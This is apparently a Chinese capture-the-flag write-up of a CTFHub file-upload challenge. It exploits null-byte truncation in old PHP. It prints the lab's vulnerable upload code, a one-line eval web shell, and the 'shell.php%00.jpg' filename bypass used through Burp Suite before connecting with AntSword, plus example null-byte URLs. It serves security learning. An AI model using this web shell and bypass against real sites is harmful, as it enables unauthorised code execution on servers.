0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
00截断:
php 版本 <5.3.4 ,5.3.4 以上版本已修复该漏洞。
网页显示内容
0x02 解题过程
Ⅰ分析网页源代码可以看到,这段代码检查是否有提交的文件,如果用户点击了 Submit 按钮,那么将获取到上传的文件名,将用户上传的文件名与白名单中的文件(jpg、png、gif)进行比较,并生一个相同扩展名的随机文件名称。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传 - 00截断</title>
</head>
<body>
<h1>CTFHub 文件上传 - 00截断</h1>
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
-->
</body>
</html>
Ⅱ先写一个payload文件用于文件上传
<?php @eval($_POST['CTFhub']);?>
Ⅲ上传编写好的payload文件,并打开Burpsuite软件进行抓包
Ⅳ修改抓取到的数据并发送给重放器
shell.php%00.jpg
Ⅴ使用重放器执行攻击,在响应栏中可以看到网页返回200,说明文件上传成功
Ⅵ使用蚁剑进行连接并测试连通性,可以正常连接
Ⅶ查找网页目录中的文件,发现此题flag
0x03 00截断
**Q:**什么是00截断?
**A:**信息安全中, 00截断 是针对 Web 应用程序的攻击技术。其英文名称 Null Byte 空字节,也称为空字节注入。攻击者在 URL 或文件名中插入一个空字节(ASCII码为00),用来截断文件扩展名或路径信息,达到绕过一些安全机制的目的。这种攻击方式通常是程序员开发过程中没有对输入数据进行过滤和验证。攻击者可以利用这种漏洞来执行恶意代码、窃取敏感信息等。
示例:
这里会访问到 shell.png 文件夹中
http://xxx.ctfhub.com:10800/?filename=shell.png //?filename 查询文件路径
这里会访问到 shell.php 文件夹中
http://xxx.ctfhub.com:10800/?filename=shell.php%00shell.png
0x04 参考文献
[1].0yst3r. CTFHub题解-技能树-Web-Web工具配置-文件上传[EB/OL]. [2023-04-08]. https://www.cnblogs.com/0yst3r-2046/p/12530316.html.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。
版权归原作者 尼泊罗河伯 所有, 如有侵权,请联系我们删除。